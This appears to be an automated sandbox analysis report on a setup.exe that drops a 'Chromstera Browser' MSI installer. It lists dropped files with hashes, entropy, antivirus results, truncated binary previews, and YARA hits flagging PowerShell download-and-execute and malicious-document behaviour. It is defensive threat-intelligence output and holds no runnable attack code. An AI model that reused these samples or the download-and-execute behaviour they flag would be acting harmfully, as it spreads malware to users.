....L.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\shiC6A3.tmp

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5038592
Entropy (8bit):	6.043058205786219
Encrypted:	false
SSDEEP:	49152:vVkDvLSkqdbEsuV+ebMh8w+/H8pF/bmlEyGjWvcP1xQ+X7TqVAMPLfQyim8kznsY:2Ll+Mn0WHl9VA2ic/
MD5:	11F7419009AF2874C4B0E4505D185D79
SHA1:	451D8D0470CEDB268619BA1E7AE78ADAE0EBA692
SHA-256:	AC24CCE72F82C3EBBE9E7E9B80004163B9EED54D30467ECE6157EE4061BEAC95
SHA-512:	1EABBBFDF579A93BBB055B973AA3321FC8DC8DA1A36FDE2BA9A4D58E5751DC106A4A1BBC4AD1F425C082702D6FBB821AA1078BC5ADC6B2AD1B5CE12A68058805
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e.D!...!...!...(.V.C...5..."...5...&...5...)...!......5...:...5... ...5...R...5.:. ...5... ...Rich!...................PE..d...p............." .........D...............................................`M.....'.M...`A........................................@.H.L&....I......@K.H.....I..............@M.....`J:.p.......................(....%..............@.......$.H......................text...4B.......D.................. ..`.wpp_sf.....`.......H.............. ..`.rdata...L......N.................@..@.data...hD...PI......*I.............@....pdata........I......2I.............@..@.didat.......0K.......J.............@....rsrc...H....@K.......J.............@..@.reloc.......@M.. ....L.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {2BF917DE-5B34-453F-A1C8-08CE02C334FC}, Number of Words: 2, Subject: Chromstera Browser, Author: Chromstera Solutions, Name of Creating Application: Chromstera Browser, Template: x64;1033, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Fri Aug 11 12:56:12 2023, Number of Pages: 200
Category:	dropped
Size (bytes):	5414912
Entropy (8bit):	6.6703025648499255
Encrypted:	false
SSDEEP:	98304:IYJRr+uKTFK+XpBflMPzidUtYoS9PURx1RK/Tvn/8/n:PJ1eBfM2NP6cr/M
MD5:	2F35E6F54DACD3559EF63F8493405884
SHA1:	0CFBF79DBD20D9DBD6F88CA7EE51B476DEF73A85
SHA-256:	590A97E2D47B8B1009728087DBA010ADDA34C9666103791A60C9DDD984C9644E
SHA-512:	70F600EB430D908F99E8D9924AE539BCFC21F43ADEA366C3BF2C0D207BC90881381BC3536E1DE17ED2A5400ADC8190A84C246E811593B8B1A682DA10AEDED1A0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi, Author: Joe Security Rule: JoeSecurity_MalDoc, Description: Yara detected MalDoc, Source: C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi, Author: Joe Security
Preview:	......................>...................S...................................\.......~......./...0...1...2...3...4...5...6...7.......................U...V...W...X...Y...Z...[.......................................]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...........................................................t!...!...!...!...!...!...!...!...!...!...!...................(......................................................................................................................?...............(...B........................................................................................... ...!..."...#...$...%...&...'...5...)...6...+...,...-......./...0...1...2...3...4.......7...?...8...9...:...;...<...=...>...C...@...A...J...N...D...E...F...G...H...I...M...K...L........&..O...P...Q...R...S...T...U...V...W...X...Y...Z...[....&......^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main1.cab

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	Microsoft Cabinet archive data, many, 537602 bytes, 3 files, at 0x44 +A "manifest.json" +A "service.js", flags 0x4, ID 1234, number 1, extra bytes 20 in head, 37 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	549914
Entropy (8bit):	7.99656918630297
Encrypted:	true
SSDEEP:	12288:5PssyeijXugzQ9ng7tLKQgxVUU+e0FXCQsY8Iy0W:G7zGYKTMlFXGYvW
MD5:	6734CC1E240B7F556E3AE09EA56E02C9
SHA1:	E8D7810283CC2D788C620E31B677B9D69944E6CB
SHA-256:	0036A0F85C7D9276BD0C5EB04B54DB37BF8ABA49453BB2D338FF1FA278F756C1
SHA-512:	5E8285166F392AFBFD5448B50AAFE4FCA551EE82C744574C344114AD88BFEE7E70AE6CDD945E0FD4A98B52CE68BE5EB2530D84BCB16FA3C969292FBCA26321C8
Malicious:	false
Preview:	MSCF.....4......D............................4...0..............%.............EUv. .manifest.json.g..........VA. .service.js.._..B......W.n .updater.exe.J..o.<..CK.}}\|T..d..... ..A".Wj......1...3..."..!.e2.X!.N.r.=.r.{.m.T...m..Vl.........XQc.c...! r.Zk.93I&..~.f.}..k..^_{.=....>a...&\|7g....js.Z.aU...`..{kVo.^......jj....L.ekW.[]..._.{.O......._.>.n%.!.....j6..wU..5.. ..(.R]K..O.?...Z.~e`..P..z....E...x).]..UkW..O.....b....j.]5%Vg..u.....X.f..)+V.\...j..I..U..9....v..n....U..z....M`.......wH.$Y.O.%i.$..JC.g.....8Rz...k.Z..q......5._.bm.+.[...........r.-*.....2b..h./6-....J......;.{.H..;~..H/}.f.2..=.jz...J.~f......>.U.w.[....#....Xq..o.......N...)I.-)...VF.:.......FH.A+.=.5]..pQ?BP...$).h...v.&b>....p.U...E..l.K-.....0....R...6J.>/I{..)mH0.......{...}...S$.....c..n...f?\|/Z1B .c....#I.L.Y..B.\|....3.jD_...).....>...........O...........7.~.>...Uk.CE.;.@...7...9Ca...o...Z....PZ........).5..<...,.O.K.k...Oe..e...Ol..%E..t...S]".].O.......J..

C:\Windows\Installer\6bc77d.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {2BF917DE-5B34-453F-A1C8-08CE02C334FC}, Number of Words: 2, Subject: Chromstera Browser, Author: Chromstera Solutions, Name of Creating Application: Chromstera Browser, Template: x64;1033, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Fri Aug 11 12:56:12 2023, Number of Pages: 200
Category:	dropped
Size (bytes):	5414912
Entropy (8bit):	6.6703025648499255
Encrypted:	false
SSDEEP:	98304:IYJRr+uKTFK+XpBflMPzidUtYoS9PURx1RK/Tvn/8/n:PJ1eBfM2NP6cr/M
MD5:	2F35E6F54DACD3559EF63F8493405884
SHA1:	0CFBF79DBD20D9DBD6F88CA7EE51B476DEF73A85
SHA-256:	590A97E2D47B8B1009728087DBA010ADDA34C9666103791A60C9DDD984C9644E
SHA-512:	70F600EB430D908F99E8D9924AE539BCFC21F43ADEA366C3BF2C0D207BC90881381BC3536E1DE17ED2A5400ADC8190A84C246E811593B8B1A682DA10AEDED1A0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Installer\6bc77d.msi, Author: Joe Security Rule: JoeSecurity_MalDoc, Description: Yara detected MalDoc, Source: C:\Windows\Installer\6bc77d.msi, Author: Joe Security
Preview:	......................>...................S...................................\.......~......./...0...1...2...3...4...5...6...7.......................U...V...W...X...Y...Z...[.......................................]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...........................................................t!...!...!...!...!...!...!...!...!...!...!...................(......................................................................................................................?...............(...B........................................................................................... ...!..."...#...$...%...&...'...5...)...6...+...,...-......./...0...1...2...3...4.......7...?...8...9...:...;...<...=...>...C...@...A...J...N...D...E...F...G...H...I...M...K...L........&..O...P...Q...R...S...T...U...V...W...X...Y...Z...[....&......^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI11D0.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	664896
Entropy (8bit):	6.580111290566735
Encrypted:	false
SSDEEP:	12288:lurEvhNDNMgr6xtRdYn/VkRFcJcI32R7vKG+4vz/1FJlt2X45c6EKgkj:0ihNREtRdYndJP32R7vKG+47/L0I5jEg
MD5:	F2DD0D7EBAB0352E434FA65386425F33
SHA1:	A6D808538D1A0D7984B4AE3DCD16AEA185702E50
SHA-256:	1C65E72519B605E0A322DD32625782978A5BC74CEC81F73638A215CA5B9D0F9D
SHA-512:	76D1F0125835C13B5E0CE52E9AAB450713CB45A82544215E1EE17B094FD5D16B066544E032E96F94F727427F055F691655D6DBBB5E4A8C54AF774A2B97F524C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.:.w.T,w.T,w.T,..W-z.T,..Q-.T,..P-a.T,..P-f.T,..W-m.T,..Q-+.T,..U-`.T,w.U,\.T,n.]-@.T,n.T-v.T,n.,v.T,w..,v.T,n.V-v.T,Richw.T,........PE..L...K>.d.........."!...$.r..................................................0......+.....@..........................q.......q..........................@=.......\......p...............................@............................................text....q.......r.................. ..`.rdata..v............v..............@..@.data................h..............@....rsrc...............................@..@.reloc...\.......^..................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4739.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	570176
Entropy (8bit):	6.4754135618709885
Encrypted:	false
SSDEEP:	12288:V7illiy0jC24y27NuNMM1o6BFCzS0IJPD+G63u+znIBhVWYusLQys6od5zg:UuGBYusLRs6S5zg
MD5:	514314174B6F6A3AB2195C456B83AA1E
SHA1:	D4CEDCB663F534FBDC93D7A53E0A5A4CAE2B4E7B
SHA-256:	DC20BD05C938C5C9CE13D2D3CD78D1479B7D74C24E1356F36C7C8E8F6BEFE597
SHA-512:	061AE3D1D410F24EB6C13E3B0AF81E760881E9F4A71EA1FB9F84E84D20047F719B845BEA7F435454DF33310FE1294D46F8F7DD40EAAFFCEB53D280A9238BD9F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aawD..$D..$D..$.r.%N..$.r.%...$.~.%V..$.~.%N..$.~.%...$.r.%P..$.r.%E..$.r.%]..$D..$...$]..%^..$]..$E..$D..$E..$]..%E..$RichD..$........................PE..d....>.d.........."....$.4...h......`..........@..........................................`.............................................................8....p...?...v..@=......l...@x..p....................y..(....w..@............P.. ............................text...<3.......4.................. ..`.rdata.......P.......8..............@..@.data...,G... ......................@....pdata...?...p...@..................@..@_RDATA..\............X..............@..@.rsrc...8............Z..............@..@.reloc..l............f..............@..B................................................................................................................................................................................

C:\Windows\Installer\MSIC933.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC9EF.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICA7D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICAEB.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217920
Entropy (8bit):	6.659990688109136
Encrypted:	false
SSDEEP:	3072:s3mBJDmU1w79thLwNj3xrvkLzDSpjqBIe2c8AOAg0FuDGMxwVb7zY2+fS4P:s3MN9WmHcLz+pjqgAOSMmEfSC
MD5:	AE9AA65470306DB7DB02371779BBCE64
SHA1:	6580975408BC4013A5E7A3E717912B30B1CB6294
SHA-256:	FB7B23455C1BE134A4F89824F1CE45EF7D09A25188B6C726ADA9690C9B28EF33
SHA-512:	DB36D383DED9DA8C5B0BE211CB3C816787629993015763A5A19067BC86351C65CC4A9ED149416DF47D3DE02EA3CC35803862EA029FBD5059B1633A2630F7A769
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............................................._..............................Q......9...........Rich...........PE..L...A>.d.........."!...$..................... ...............................P.......I....@.....................................<.... ..................@=...0..\.......p...................@...........@............ ...............................text...V........................... ..`.rdata....... ......................@..@.data...4...........................@....rsrc........ ......................@..@.reloc..\....0......................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICB79.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	753984
Entropy (8bit):	6.46150792241965
Encrypted:	false
SSDEEP:	12288:ZQznHEVvieXxN4Mbq6Xe8wTAolS1IUNyz+ly/U0GCt57Wf63RfkleA:QnHEVv9fpXRARw1IUNA/n957Wf63h0eA
MD5:	8F517D6C505B7F9EC21CD40DB49227D9
SHA1:	E7C7E0ED1D8B2F09FF187C516F22747CD3ED49F8
SHA-256:	A908CD8FC097381F5A49A9FE1E1D3F81873D4004732A655EBF2AFA93BDF126CF
SHA-512:	DCD087F3ECF30A348A8D99962D5B69A1A78627218C775E03A41233622F433B2C12FA3138084B84E89AC8A681601A5333E379BB3701FE7321C36EFB2E20E5F26F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......':r.c[.Tc[.Tc[.T.).Un[.T.).U.[.T.%.Ur[.T.%.U{[.T.).Uz[.T.%.U=[.T.).Ub[.T.).Ut[.Tc[.T.Z.Tz$.U([.Tz$.Ub[.Tz$.Tb[.Tc[.Tb[.Tz$.Ub[.TRichc[.T................PE..L...S>.d.........."!...$.>..........8........P......................................,.....@.........................`..................h............D..@=.......r.....p............................e..@............P..........@....................text....=.......>.................. ..`.rdata...q...P...r...B..............@..@.data...H(..........................@....rsrc...h...........................@..@.reloc...r.......t..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICBB9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602432
Entropy (8bit):	6.469756311917561
Encrypted:	false
SSDEEP:	6144:2aFYTdIO9QmvIeVKVhaxkSBULBA4tKSM3BZC4o4AOl4mN9ysU5p/s8g73W:jYL9HXVW0xOA+KlZC4v65ps8g73W
MD5:	FE647318C4CC7F18012BDF5F8F96C468
SHA1:	82E516C4247CA5EAC3365BF80120D8A1F30E3042
SHA-256:	AEC9F4CB37604C67C69FC0FEE1DC630DB016E1471212006ED787DD9432158E69
SHA-512:	2AB40A563FA4AFE48BA74067653A244BDD53F9C04CD3764F29C5F80349F68B2126C6442E0A75FFB3C207F8C9267D4FAE7B407CA7D1D5E31D729B84B0EDEA817C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.............u..u..u.n.v..u.n.p...u...q..u...v..u...p...u.n.q..u.n.s..u.n.t..u..t...u.\|...u.u..u....u.....u.w..u.Rich..u.........................PE..L....=.d.........."!...$.>...........Y.......P...............................0......c.....@.........................`X..d....a..,.......................@=.......h.....p...................@...........@............P..h............................text....=.......>.................. ..`.rdata...,...P.......B..............@..@.data...8%...........p..............@....rsrc...............................@..@.reloc...h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICC46.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	6434340
Entropy (8bit):	6.68149115147602
Encrypted:	false
SSDEEP:	98304:evSeSNn/8/nTn/8/nkn/8/neYJqYJ4n/8/nZn/8/n4n/8/nW+uKTFd:x/MT/Mk/MlJZJ4/MZ/M4/M4S
MD5:	CE3829A031A468B4E2DFF76877D19C81
SHA1:	0BD9A3F51B26751552646DC41B18534CE8BCC4E4
SHA-256:	49F85BA7AC0A545A893C7B9B99535C608D81850137ACEA73551B50D79E051831
SHA-512:	3A9636B8657F8973297E0028ED936127E1A946934CD2478B9B28DB5BEB9157B92BB3ED2F74D0892D8A5E4348B76D7400270F89D5BE344801C5FDFD2D01799A9B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Windows\Installer\MSICC46.tmp, Author: Joe Security
Preview:	...@IXOS.@.....@mq\Y.@.....@.....@.....@.....@.....@......&.{441BEFA6-D7B1-4C8C-8CF9-5A4D6215E43D}..Chromstera Browser..Chromnius-Main.msi.@.....@.....@.....@........&.{2BF917DE-5B34-453F-A1C8-08CE02C334FC}.....@.....@.....@.....@.......@.....@.....@.......@......Chromstera Browser......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........AI_RemoveAllTempFiles....J...AI_RemoveAllTempFiles.@......@S..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............................................._..............................Q......9...........Rich...........PE..L...A>.d.........."!...$..................... ...............................P.......I....@.....................................<.... ..................@=...0..\.......p...................@...........@............ ...............................text...V..........................

C:\Windows\Installer\MSICC66.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211776
Entropy (8bit):	6.545789465666009
Encrypted:	false
SSDEEP:	3072:APFAhETm5/VCZCuRspcZ2XcIQISCXOtwypRnWmomS7/Br5vEgn/Zr/e:bim5/VJuRLXDCXObptI/p5vD12
MD5:	6CE8F1D957A3545827ABA750E2087548
SHA1:	4EF30873A3A4CD2138320A3AECF9C0235F2993A9
SHA-256:	6DE3B9B00849AB2398B36446B16E7A435CDBF8610B31FFD36E381636DC33E3A8
SHA-512:	030E400A759B4F4B972D92BFCA8771A90BD87DE8C93B8BAD99B814563D52CC97703A0C21DFAA4D022D2111CCD77F9144D028F2016C66F3429E59589A8B390DB9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.R...<...<...<...?.u.<...9...<..8.n.<..?.l.<...8.i.<..9.K.<...:.~.<...=.n.<...=...<.f.5.g.<.f.<.~.<.f..~.<....~.<.f.>.~.<.Rich..<.................PE..L....=.d.........."!...$.0...........2.......@...............................0............@.................................H...x.......x...............@=......x......p............................E..@............@..........@....................text...]/.......0.................. ..`.rdata.......@.......4..............@..@.data...............................@....rsrc...x...........................@..@.reloc..x........ ..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID04F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	211776
Entropy (8bit):	6.545789465666009
Encrypted:	false
SSDEEP:	3072:APFAhETm5/VCZCuRspcZ2XcIQISCXOtwypRnWmomS7/Br5vEgn/Zr/e:bim5/VJuRLXDCXObptI/p5vD12
MD5:	6CE8F1D957A3545827ABA750E2087548
SHA1:	4EF30873A3A4CD2138320A3AECF9C0235F2993A9
SHA-256:	6DE3B9B00849AB2398B36446B16E7A435CDBF8610B31FFD36E381636DC33E3A8
SHA-512:	030E400A759B4F4B972D92BFCA8771A90BD87DE8C93B8BAD99B814563D52CC97703A0C21DFAA4D022D2111CCD77F9144D028F2016C66F3429E59589A8B390DB9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......;.R...<...<...<...?.u.<...9...<..8.n.<..?.l.<...8.i.<..9.K.<...:.~.<...=.n.<...=...<.f.5.g.<.f.<.~.<.f..~.<....~.<.f.>.~.<.Rich..<.................PE..L....=.d.........."!...$.0...........2.......@...............................0............@.................................H...x.......x...............@=......x......p............................E..@............@..........@....................text...]/.......0.................. ..`.rdata.......@.......4..............@..@.data...............................@....rsrc...x...........................@..@.reloc..x........ ..................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID11C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	664896
Entropy (8bit):	6.580111290566735
Encrypted:	false
SSDEEP:	12288:lurEvhNDNMgr6xtRdYn/VkRFcJcI32R7vKG+4vz/1FJlt2X45c6EKgkj:0ihNREtRdYndJP32R7vKG+47/L0I5jEg
MD5:	F2DD0D7EBAB0352E434FA65386425F33
SHA1:	A6D808538D1A0D7984B4AE3DCD16AEA185702E50
SHA-256:	1C65E72519B605E0A322DD32625782978A5BC74CEC81F73638A215CA5B9D0F9D
SHA-512:	76D1F0125835C13B5E0CE52E9AAB450713CB45A82544215E1EE17B094FD5D16B066544E032E96F94F727427F055F691655D6DBBB5E4A8C54AF774A2B97F524C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.:.w.T,w.T,w.T,..W-z.T,..Q-.T,..P-a.T,..P-f.T,..W-m.T,..Q-+.T,..U-`.T,w.U,\.T,n.]-@.T,n.T-v.T,n.,v.T,w..,v.T,n.V-v.T,Richw.T,........PE..L...K>.d.........."!...$.r..................................................0......+.....@..........................q.......q..........................@=.......\......p...............................@............................................text....q.......r.................. ..`.rdata..v............v..............@..@.data................h..............@....rsrc...............................@..@.reloc...\.......^..................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIEC26.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	664896
Entropy (8bit):	6.580111290566735
Encrypted:	false
SSDEEP:	12288:lurEvhNDNMgr6xtRdYn/VkRFcJcI32R7vKG+4vz/1FJlt2X45c6EKgkj:0ihNREtRdYndJP32R7vKG+47/L0I5jEg
MD5:	F2DD0D7EBAB0352E434FA65386425F33
SHA1:	A6D808538D1A0D7984B4AE3DCD16AEA185702E50
SHA-256:	1C65E72519B605E0A322DD32625782978A5BC74CEC81F73638A215CA5B9D0F9D
SHA-512:	76D1F0125835C13B5E0CE52E9AAB450713CB45A82544215E1EE17B094FD5D16B066544E032E96F94F727427F055F691655D6DBBB5E4A8C54AF774A2B97F524C0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3.:.w.T,w.T,w.T,..W-z.T,..Q-.T,..P-a.T,..P-f.T,..W-m.T,..Q-+.T,..U-`.T,w.U,\.T,n.]-@.T,n.T-v.T,n.,v.T,w..,v.T,n.V-v.T,Richw.T,........PE..L...K>.d.........."!...$.r..................................................0......+.....@..........................q.......q..........................@=.......\......p...............................@............................................text....q.......r.................. ..`.rdata..v............v..............@..@.data................h..............@....rsrc...............................@..@.reloc...\.......^..................@..B................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIFB77.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	570176
Entropy (8bit):	6.4754135618709885
Encrypted:	false
SSDEEP:	12288:V7illiy0jC24y27NuNMM1o6BFCzS0IJPD+G63u+znIBhVWYusLQys6od5zg:UuGBYusLRs6S5zg
MD5:	514314174B6F6A3AB2195C456B83AA1E
SHA1:	D4CEDCB663F534FBDC93D7A53E0A5A4CAE2B4E7B
SHA-256:	DC20BD05C938C5C9CE13D2D3CD78D1479B7D74C24E1356F36C7C8E8F6BEFE597
SHA-512:	061AE3D1D410F24EB6C13E3B0AF81E760881E9F4A71EA1FB9F84E84D20047F719B845BEA7F435454DF33310FE1294D46F8F7DD40EAAFFCEB53D280A9238BD9F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aawD..$D..$D..$.r.%N..$.r.%...$.~.%V..$.~.%N..$.~.%...$.r.%P..$.r.%E..$.r.%]..$D..$...$]..%^..$]..$E..$D..$E..$]..%E..$RichD..$........................PE..d....>.d.........."....$.4...h......`..........@..........................................`.............................................................8....p...?...v..@=......l...@x..p....................y..(....w..@............P.. ............................text...<3.......4.................. ..`.rdata.......P.......8..............@..@.data...,G... ......................@....pdata...?...p...@..................@..@_RDATA..\............X..............@..@.rsrc...8............Z..............@..@.reloc..l............f..............@..B................................................................................................................................................................................

C:\Windows\Installer\SourceHash{441BEFA6-D7B1-4C8C-8CF9-5A4D6215E43D}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7903190731460404
Encrypted:	false
SSDEEP:	12:JSbX72Fj4XAlfLIlHuRpFhG7777777777777777777777777ZDHFkTNQRskSpW6w:JYUIwYikSHkF
